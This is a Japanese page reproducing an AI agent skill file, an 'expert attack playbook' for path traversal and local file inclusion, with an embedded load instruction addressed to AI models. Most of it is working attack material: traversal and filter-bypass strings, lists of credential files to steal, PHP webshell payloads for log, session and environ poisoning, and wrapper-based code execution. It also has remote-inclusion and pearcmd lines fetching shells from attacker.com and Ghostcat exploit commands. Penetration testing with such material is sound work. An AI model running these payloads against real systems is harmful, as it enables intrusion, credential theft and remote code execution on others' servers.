path-traversal-lfi
パストラバーサルおよびLFI(ローカルファイルインクルード)に関するプレイブック。ファイルパス、ダウンロードエンドポイント、インクルード処理、アーカイブ展開、またはラッパーの挙動によってファイルシステムへの不正アクセスが生じる可能性がある場合に使用する。
description の原文を見る
>- Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.
SKILL.md 本文
SKILL: Path Traversal / Local File Inclusion (LFI) — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert path traversal and LFI techniques. Covers encoding bypass sequences, OS differences, filter bypass, PHP wrapper exploitation, log poisoning to RCE, and the critical distinction between path traversal (read only) vs LFI (execution). Base models miss encoding chains and RCE escalation paths.
0. 関連ルーティング
本格的な悪用を開始する前に、以下をまず読み込むことができます:
upload insecure files攻撃対象がインクルードまたは読み込みプリミティブではなく、アップロードワークフローである場合ghost-bits-cast-attackターゲットがJava バックエンド(Spring, Jetty, Undertow, Vert.x)であり、標準的な../,%2e%2e,%252eチェーンが WAF でブロックされている場合 — Ghost Bits は.を阮(U+962E)、/を阯(U+962F)で置き換え、Spring CVE-2025-41242 と Jetty%2>hex-folding を通じてトラバーサルを再度有効にします
ファーストパストラバーサルチェーン
../etc/passwd
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..\\..\\..\\windows\\win.ini
1. コア概念
Path Traversal: ../ シーケンスで意図されたディレクトリからエスケープして任意のファイルを読み込みます。
LFI: PHP では、ユーザー入力が include()/require() を制御する場合、ファイルは単に読み込まれるのではなく、PHP コードとして実行されます。
http://target.com/index.php?page=home
→ Opens: /var/www/html/pages/home.php
Traversal attack:
http://target.com/index.php?page=../../../../etc/passwd
→ Opens: /etc/passwd
2. トラバーサルシーケンスバリエーション
フィルタリング戦略によって使用するエンコーディングが決定されます:
基本
../../../etc/passwd
..\..\..\windows\system32\drivers\etc\hosts (Windows)
URL エンコーディング
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd ← %2f = '/'
%2e%2e%5c%2e%2e%5c%2e%2e%5c ← %5c = '\'
ダブル URL エンコーディング (サーバーが 1 回デコードし、フィルタが デコード前にチェック)
%252e%252e%252f%252e%252e%252f ← %25 = %, double-encoded %2e
..%252f..%252fetc%252fpasswd
Unicode / オーバーロング UTF-8
..%c0%af..%c0%af ← overlong UTF-8 encoding of '/'
..%c1%9c..%c1%9c ← overlong UTF-8 encoding of '\'
..%ef%bc%8f ← fullwidth solidus '/'
混合エンコーディング
..%2F..%2Fetc%2Fpasswd
....//....//etc/passwd ← double-dot with slash (filter strips single ../)
フィルタが ../ をストリップ (../ がストリップ後も ../ となる)
....// ← becomes ../ after filter strips ../
..././ ← becomes ../ after filter strips ./
Null Byte インジェクション (レガシー PHP < 5.3.4)
../../../../etc/passwd%00.jpg ← %00 truncates string, strips .jpg extension
../../../../etc/passwd%00.php
3. ターゲットファイルおよびエスカレーションターゲット
Linux
/etc/passwd ← user list (usernames, UIDs)
/etc/shadow ← password hashes (requires root-level file read)
/etc/hosts ← internal hostnames → pivot targets
/etc/hostname ← server hostname
/proc/self/environ ← process environment (DB creds, API keys!)
/proc/self/cmdline ← process command line
/proc/self/fd/0 ← stdin file descriptor
/proc/[pid]/maps ← memory maps (loaded libraries with paths)
/var/log/apache2/access.log ← for log poisoning
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log ← SSH attempt log
/var/mail/www-data ← email for www-data user
/home/USER/.ssh/id_rsa ← SSH private key
/home/USER/.ssh/authorized_keys
/home/USER/.bash_history ← command history (credentials!)
/home/USER/.aws/credentials ← AWS keys
/tmp/sess_SESSIONID ← PHP session files (if session.save_path=/tmp)
Web アプリケーション設定ファイル
/var/www/html/.env ← Laravel/Node.js env vars
/var/www/html/config.php ← PHP config
/var/www/html/wp-config.php ← WordPress DB credentials
/etc/apache2/sites-enabled/ ← Apache vhosts
/etc/nginx/sites-enabled/ ← Nginx config
/usr/local/etc/nginx/nginx.conf
Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM ← NTLM hashes (often locked)
C:\inetpub\wwwroot\web.config ← ASP.NET DB connection strings
C:\inetpub\wwwroot\global.asa
C:\xampp\htdocs\wp-config.php
C:\Users\Administrator\.ssh\id_rsa
C:\ProgramData\MySQL\MySQL Server 8\my.ini ← MySQL config
4. PHP LFI → RCE テクニック
ログポイズニング (ログアクセス可能な場合が最も信頼性が高い)
ステップ 1: User-Agent 経由で Apache/Nginx アクセスログに PHP コードをインジェクト:
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
ステップ 2: LFI 経由でログファイルをインクルード:
?page=../../../../var/log/apache2/access.log&cmd=id
SSH ログポイズニング
SSH ユーザー名として PHP ペイロードをインジェクト:
ssh '<?php system($_GET["cmd"]); ?>'@target.com
その後 /var/log/auth.log をインクルード。
PHP セッションファイルポイズニング
ステップ 1: セッションに保存されたパラメータ(例: ユーザー名)に PHP コードを送信し、セッションファイルへの保存をトリガー ステップ 2: セッションファイルをインクルード:
?page=../../../../tmp/sess_SESSIONID&cmd=id
セッション ID をクッキー PHPSESSID から探します。
PHP ラッパーによる RCE
php://expect ラッパー (requires expect PHP extension):
?page=expect://id
php://input ラッパー (LFI と POST ボディを結合):
POST ?page=php://input
Body: <?php system('id'); ?>
data:// ラッパー (base64 として直接 PHP をインジェクト):
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
(PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= = <?php system($_GET['cmd']); ?>)
5. PHP フィルタラッパー (ファイルコンテンツ読み込み)
php://filter を使用してファイルコンテンツを base64 エンコードし、null バイトやバイナリデータを回避:
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=config.php
?page=php://filter/convert.iconv.UTF-8.UTF-16LE/resource=config.php
返された base64 をデコードしてファイルコンテンツを表示します (PHP ソースコードを含む)。
フィルタのチェーン (複数の変換により入力フィルタをバイパス):
?page=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd
6. リモートファイルインクルージョン (RFI) — 有効な場合
PHP の allow_url_include = On の場合 (稀ですが存在します):
?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.php
<?php system($_GET['cmd']); ?> を含む shell.txt をホストします。
7. サーバー固有のパストトランケーション
PHP には歴史的なパス長制限があります。. または /./ で埋めてアペンドされた拡張子をトランケート:
?page=../../../../etc/passwd/./././././././././././............ (255+ chars)
サーバーが .php を追加する場合、トランケーションはそれをドロップします。
または PHP < 5.3.4 の場合は null byte:
?page=../../../../etc/passwd%00
8. パラメータロケーションテスト
?file= ?page= ?include= ?path=
?doc= ?view= ?load= ?read=
?template= ?lang= ?url= ?src=
?content= ?site= ?layout= ?module=
また以下もテストしてください: HTTP ヘッダ、クッキー、フォーム action 値、インポート/アップロード機能。
9. フィルタバイパスチェックリスト
../ がストリップまたはブロックされている場合:
□ URL エンコーディングをお試しください: %2e%2e%2f
□ ダブル URL エンコーディングをお試しください: %252e%252e%252f
□ オーバーロング UTF-8 をお試しください: ..%c0%af / ..%ef%bc%8f
□ 混合をお試しください: ..%2F or ..%5C (バックスラッシュ on Linux)
□ 冗長シーケンスをお試しください: ....// or ..././ (strip once → still ../)
□ Null byte をお試しください: /../../../etc/passwd%00
□ 絶対パスをお試しください: /etc/passwd (パスプレフィックスが追加されていない場合)
□ Windows UNC をお試しください (Windows サーバー): \\127.0.0.1\C$\Windows\win.ini
10. インパクトエスカレーションパス
Path traversal (arbitrary file read)
├── Read /etc/passwd → enumerate users
├── Read /proc/self/environ → find API keys, DB passwords in env
├── Read app config files → find credentials → horizontal movement
├── Read SSH private keys → direct server login
└── Find log paths → Log Poisoning → LFI RCE
LFI (PHP code inclusion)
├── Log poisoning → webshell
├── Session file poisoning → webshell
├── php://input → direct code execution
├── data:// → direct code execution
└── php://filter → read PHP source code → find more vulnerabilities
11. LFI to RCE エスカレーションパス
| メソッド | 要件 | ペイロード |
|---|---|---|
| Log Poisoning (Apache) | LFI + Apache access.log 読み込み可能 | User-Agent に <?php system($_GET['c']);?> をインジェクト → /var/log/apache2/access.log をインクルード |
| Log Poisoning (SSH) | LFI + SSH auth.log 読み込み可能 | <?php system('id');?>@target として SSH → /var/log/auth.log をインクルード |
| Log Poisoning (Mail) | LFI + mail log 読み込み可能 | PHP を件名に含むメール送信 → /var/log/mail.log をインクルード |
| /proc/self/fd ブルートフォース | LFI + Linux | /proc/self/fd/0 から /proc/self/fd/255 までをブルートフォース、インジェクトされたコンテンツ含むオープンファイルハンドルを探索 |
| /proc/self/environ | LFI + CGI/FastCGI | User-Agent ヘッダに PHP をインジェクト → /proc/self/environ をインクルード |
| iconv CVE-2024-2961 | glibc < 2.39, PHP with php://filter | php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource= チェーンでヒープオーバーフロー → RCE。ツール: cnext-exploits |
| phpinfo() アシスト | LFI + phpinfo ページアクセス可能 | レースコンディション: multipart 経由でアップロード → phpinfo から tmp パス を取得 → クリーンアップ前にインクルード |
| PHP Session | LFI + セッションファイル書き込み可能 | セッション変数を制御可能な値で制御可能に → /tmp/sess_SESSIONID または /var/lib/php/sessions/sess_SESSIONID をインクルード |
| Upload race | LFI + アップロードエンドポイント | PHP ファイルをアップロード → サーバー側の検証/削除前にインクルード |
12. PHP ラッパー悪用マトリックス
php://filter (最も強力、常に最初に試す)
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php
php://filter/zlib.deflate/resource=index.php
フィルタチェーン RCE (synacktiv php_filter_chain_generator):
- 複数の
convert.iconvフィルタをチェーンして、ファイルアップロードなしで任意のバイトを書き込み - ツール:
synacktiv/php_filter_chain_generator→ PHP コードを書き込むチェーンを生成 python3 php_filter_chain_generator.py --chain '<?php system("id");?>'
convert.iconv + dechunk oracle (ブラインドファイル読み込み):
- ツール:
synacktiv/php_filter_chains_oracle_exploit(filters_chain_oracle_exploit) - エラー/動作の差異を通じてファイルコンテンツを 1 文字ずつ読み込み
php://input
POST vulnerable.php?page=php://input
Body: <?php system('id'); ?>
要件: allow_url_include=On
data://
data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
data:text/plain,<?php system('id');?> ← note: no double slash variant also works
phar://
phar://uploaded.phar/test.php
phar メタデータのデシリアライゼーションをトリガー → POP チェーン経由の RCE (ファイルアップロードが必要、JPEG に偽装可能)
zip://
zip://uploaded.zip%23shell.php
expect://
expect://id
要件: expect 拡張子 (稀)
13. PEARCMD LFI 悪用
pearcmd.php が LFI 経由でアクセス可能な場合 (Docker PHP イメージで一般的):
| メソッド | ペイロード |
|---|---|
| config-create | /?file=pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/shell.php |
| man_dir | /?file=pearcmd.php&+-c+/tmp/shell.php+-d+man_dir=<?=phpinfo()?>+-s+ |
| download | /?file=pearcmd.php&+download+http://attacker.com/shell.php |
| install | /?file=pearcmd.php&+install+http://attacker.com/shell.tgz |
14. Windows 固有の LFI テクニック
FindFirstFile ワイルドカード (Windows のみ):
<は任意の 1 文字と一致、>は任意のシーケンスと一致 (?と*に似ていますが ファイル API 内)php<<はphp5,phtmlなどと一致可能..\..\windows\win.ini→ ファジーマッチングに<<を使用:..\..\windows\win<<
15. パラメータ命名パターン (高周波ターゲット)
脆弱性研究統計分析に基づく:
| パラメータ名 | 頻度 | コンテキスト |
|---|---|---|
filename, file, path | Very High | Direct file operations |
page, include, template | High | Template/page inclusion |
url, src, href | High | Resource loading |
download, read, load | Medium | File download/read |
dir, folder, root | Medium | Directory operations |
hdfile, inputFile, XFileName | Low | CMS/middleware specific |
FileUrl, filePath, docPath | Low | Enterprise app specific |
高周波脆弱エンドポイント:
down.php, download.jsp, download.asp, readfile.php, file_download.php, getfile.php, view.php
16. LFI to RCE — エスカレーションパス
1. /proc/self/fd ブルートフォース
# ファイルアップロードが存在するが、パスが不明な場合:
# アップロードされたファイルは一時的な fd を /proc/self/fd/ に取得
# fd 番号をブルートフォース:
/proc/self/fd/0 through /proc/self/fd/255
# クリーンアップ前に一時ファイルをインクルード
2. /proc/self/environ ポイズニング
# User-Agent が プロセス環境に反映される場合:
GET /vuln.php?page=/proc/self/environ
User-Agent: <?php system($_GET['c']); ?>
3. ログポイズニング
# Apache アクセスログ:
GET /<?php system($_GET['c']); ?> HTTP/1.1
# その後インクルード: /var/log/apache2/access.log
# SSH auth log (ユーザー名フィールド):
ssh '<?php system($_GET["c"]); ?>'@target
# その後インクルード: /var/log/auth.log
# メールログ (SMTP 件名):
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
Subject: <?php system($_GET['c']); ?>
.
# その後インクルード: /var/log/mail.log
4. PHP セッションファイルポイズニング
# セッション変数を PHP コードに設定:
GET /page.php?lang=<?php system($_GET['c']); ?>
# セッションファイル: /tmp/sess_PHPSESSID or /var/lib/php/sessions/sess_PHPSESSID
# セッションファイルをインクルード
5. phpinfo() アシスト LFI
# レースコンディション: phpinfo() 経由で一時ファイルをアップロード
# 1. POST multipart ファイルを phpinfo() ページに → tmp_name を明かす (/tmp/phpXXXXXX)
# 2. PHP がそれをクリーンアップする前に一時ファイルをインクルード
# 多数の同時リクエスト (race window ~10ms) が必要
6. iconv CVE-2024-2961
# PHP フィルタチェーンにおける glibc iconv バッファオーバーフロー
# ツール: cfreal/cnext-exploits
# 書き込み可能なパスやログポイズニングを必要とせずに LFI を RCE に変換
17. PHP ラッパー悪用マトリックス
php://filter (ファイル読み込み、実行なし)
# Base64 エンコードソースコード:
php://filter/convert.base64-encode/resource=index.php
# ROT13:
php://filter/read=string.rot13/resource=index.php
# 複数フィルタをチェーン:
php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php
# Zlib 圧縮:
php://filter/zlib.deflate/resource=index.php
# NEW: フィルタチェーン RCE (synacktiv php_filter_chain_generator)
# iconv 変換を通じて任意のコンテンツを書き込むチェーンを生成
# ツール: synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# 生成: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|/resource=php://temp
convert.iconv + dechunk oracle (ブラインドファイル読み込み)
# エラーベースのオラクル: ファイルの最初のバイトが文字と一致するかどうかを判定
# ツール: synacktiv/php_filter_chains_oracle_exploit
# エラー/動作の差異を通じてファイルを 1 文字ずつ読み込み
data:// ラッパー
# 任意の PHP を実行:
data://text/plain,<?php system('id'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# data:// がフィルタされても data: (// なし) が機能する場合:
data:text/plain,<?php system('id'); ?>
expect:// ラッパー
expect://id
expect://ls
# expect 拡張子が必要 (稀ですがチェック)
php://input
POST /vuln.php?page=php://input
Content-Type: application/x-www-form-urlencoded
<?php system('id'); ?>
zip:// と phar:// ラッパー
# zip://: PHP ファイルを含む ZIP をアップロード
zip:///tmp/upload.zip#shell.php
# phar://: phar メタデータのデシリアライゼーション をトリガー!
phar:///tmp/upload.phar/anything
# 細工された phar メタデータオブジェクトを作成
# POP ガジェットチェーン経由で RCE にチェーン可能 (PHP デシリアライゼーション同様)
# Phar は JPEG に偽装可能 (polyglot phar-jpg)
wrapwrap (プレフィックス/サフィックスインジェクション)
# ツール: ambionics/wrapwrap
# フィルタチェーン経由でファイルコンテンツに任意のプレフィックスとサフィックスを追加
# ファイル読み込みを XXE、SSRF、またはデシリアライゼーショントリガーに変換するのに有用
18. PEARCMD LFI to RCE
PEAR がインストールされており register_argc_argv=On である場合 (Docker PHP イメージで一般的):
# メソッド 1: config-create (任意のコンテンツをファイルに書き込み)
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php
# メソッド 2: man_dir (ドキュメントディレクトリを変更してパスを書き込み)
GET /index.php?+-c+/tmp/shell.php+-d+man_dir=<?=system($_GET[0])?>+-s+/usr/local/lib/php/pearcmd.php
# メソッド 3: download (リモートファイルを取得)
GET /index.php?+download+http://attacker.com/shell.php&file=/usr/local/lib/php/pearcmd.php
# メソッド 4: install (リモートパッケージをインストール)
GET /index.php?+install+http://attacker.com/evil.tgz&file=/usr/local/lib/php/pearcmd.php
Windows FindFirstFile ワイルドカード
# Windows << と > ワイルドカードをファイルパスで使用:
# << は任意の拡張子と一致、> は後に 1 文字続く場合と一致
include("php<<"); # any .php* file と一致
include("shel>"); # shell.php と一致 (1 文字が続く場合)
# 正確なファイル名が不明な場合に有用
19. パラメータ命名パターンと高周波エンドポイント
一般的な脆弱パラメータ名
filename filepath path file url
template page include dir document
folder root pg lang doc
conf data content name src
inputFile hdfile XFileName FileUrl readfile
高周波脆弱エンドポイント
| エンドポイントパターン | 周波数 |
|---|---|
down.php / download.php | Very High |
download.jsp / download.do | Very High |
download.asp / download.aspx | High |
readfile.php / file.php | High |
export / report エンドポイント | Medium |
template / preview エンドポイント | Medium |
バイパス技術分布 (フィールドリサーチより)
| テクニック | 普及度 |
|---|---|
| 絶対パス直接アクセス | Most common |
| WEB-INF/web.xml 読み込み (Java) | Common |
| Base64 エンコードパスパラメータ | Moderate |
| ダブル URL エンコーディング | Moderate |
UTF-8 オーバーロング エンコーディング (%c0%ae) | Rare but effective |
Null byte トランケーション (%00) | Legacy (PHP < 5.3.4) |
20. Java / Spring パストラバーサル
Spring リソースロード
// 脆弱なパターン — ユーザー入力がリソースパスに流れる
ClassPathResource r = new ClassPathResource(userInput);
getClass().getResourceAsStream("/templates/" + userInput);
servletContext.getResourceAsStream("/WEB-INF/" + userInput);
# WEB-INF デプロイメント記述子を読み込み
GET /download?file=../WEB-INF/web.xml
GET /download?file=../WEB-INF/classes/application.properties
GET /download?file=../WEB-INF/classes/META-INF/persistence.xml
# Spring Boot 固有
GET /download?file=../WEB-INF/classes/application.yml
GET /download?file=../WEB-INF/classes/bootstrap.properties
高価値 Java ターゲット
/WEB-INF/web.xml ← servlet mappings, filter chains, security constraints
/WEB-INF/classes/application.properties ← DB creds, API keys, Spring config
/WEB-INF/classes/application.yml ← same, YAML format
/WEB-INF/lib/ ← application JARs (download for decompilation)
/META-INF/MANIFEST.MF ← build metadata, main class
/META-INF/context.xml ← Tomcat datasource definitions
Spring MVC ResourceHttpRequestHandler
静的リソースが spring.resources.static-locations 経由で提供される場合:
GET /static/..%252f..%252fWEB-INF/web.xml
GET /static/..;/..;/WEB-INF/web.xml ← Tomcat path parameter normalization
21. Tomcat 固有のトリック
パスパラメータ正規化 (/..;/)
Tomcat は ; をパスパラメータデリミタとして扱い、; から次の / までのすべてをパス解決前にストリップしますが、上流のプロキシまたは WAF はそうしない場合があります:
GET /app/..;/manager/html ← Tomcat resolves to /manager/html
GET /app/..;jsessionid=x/..;/WEB-INF/web.xml
WAF バイパスチェーン: リバースプロキシは /app/..;/manager/html を /app/ の下のパスとして認識 (許可), しかし Tomcat は ..; を .. に正規化してトラバーサルアップ。
AJP Ghostcat (CVE-2020-1938)
Apache JServ Protocol (AJP, port 8009) がネットワークに公開されている場合、任意のファイル読み込みと JSP 実行が可能:
# AJP を通じて任意のファイルを読み込み
python3 ajpShooter.py http://target:8009 /WEB-INF/web.xml read
# 攻撃者制御ファイルを実行用 JSP としてインクルード
python3 ajpShooter.py http://target:8009 / eval --ajp-secret="" \
-H "javax.servlet.include.request_uri:/anything" \
-H "javax.servlet.include.servlet_path:/uploads/avatar.txt"
条件: AJP コネクタがポート 8009 でリーチ可能 (デフォルト Tomcat、Docker/internal ではしばしばファイアウォールなし)。secretRequired が Tomcat 9.0.31 より前にセット解除。
Tomcat ダブル URL デコード
GET /%252e%252e/%252e%252e/etc/passwd
22. Nginx エイリアス設定ミス
トレーリングスラッシュの罠
# 脆弱 — location にトレーリングスラッシュがない
location /assets {
alias /data/;
}
Nginx は /assets../etc/passwd を /data/../etc/passwd から /etc/passwd にマップします。なぜなら alias は完全なロケーションプレフィックス (/assets) をエイリアスパス (/data/) に置き換え、残りの ../ がトラバーサルアップするため。
GET /assets../etc/passwd HTTP/1.1
GET /assets..%2f..%2fetc%2fpasswd HTTP/1.1
正しい設定:
location /assets/ {
alias /data/;
}
location + alias のオフバイワン
location /img {
alias /var/images;
}
# /img../secret -> /var/images/../secret -> /var/secret
ルール: alias を使用する場合、location プレフィックスとエイリアスパスの両方は / で終わるか、どちらも / で終わらないかのいずれか。
23. Node.js パスモジュール特性
URL エンコード入力での path.join()
const path = require('path');
app.get('/files/:name', (req, res) => {
const filePath = path.join(__dirname, 'uploads', req.params.name);
res.sendFile(filePath);
});
Express は req.params を path.join の前に URL デコード:
GET /files/..%2f..%2f..%2fetc%2fpasswd
req.params.name = "../../../etc/passwd" (already decoded)
path.join(__dirname, 'uploads', '../../../etc/passwd') = /etc/passwd
express.static() の特性
- パスで
decodeURIComponentを呼び出し、その後path.normalize()を呼び出し - ダブルエンコーディング (
%252e%252e%252f) は、ミドルウェアが 1 回デコードし、その後express.staticが再度デコードする場合をバイパス - Null byte (
%00) は最新の Node.js (v14+) では拒否されますが、レガシーバージョンはトランケート可能
url.parse() vs new URL() の混同
// レガシー: url.parse() はパストラバーサルを解決しない
const parsed = require('url').parse(userInput);
// parsed.pathname は ../ を含むことがあります
// モダン: new URL() はパスを正規化
const parsed = new URL(userInput, 'http://localhost');
// parsed.pathname は ../ が解決されている
url.parse() と path.join() を混合するアプリは、new URL() が正規化していれば許可しないトラバーサルを許可する可能性があります。
24. IIS ショートファイル名列挙 (~1 チルダトリック)
コンセプト
Windows NTFS は 8.3 ショートファイル名 (例: LONGFI~1.TXT) を生成します。IIS は有効な vs 無効なショートネームプレフィックスに対して異なり応答します。
検出方法
GET /W~1.ASP HTTP/1.1 -> 404 (name pattern valid)
GET /Z~1.ASP HTTP/1.1 -> 400 (bad request)
差分応答は、そのプレフィックスで始まるファイルが存在するかどうかを明かします。
列挙プロセス
ステップ 1: /A~1* -> 404 = A で始まるファイルが存在
ステップ 2: /AB~1* -> 404 = AB で始まるファイルが存在
ステップ 3: /ABCDEF~1.A* -> 404 = 拡張子が A で始まる
ツール
java -jar iis_shortname_scanner.jar https://target.com/
インパクト
- 隠しバックアップ、設定ファイル、ソースコードを発見
- より短いブルートフォーススペース: 8.3 形式は文字セットを制限
- ディレクトリリストが無効な場合でも機能
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。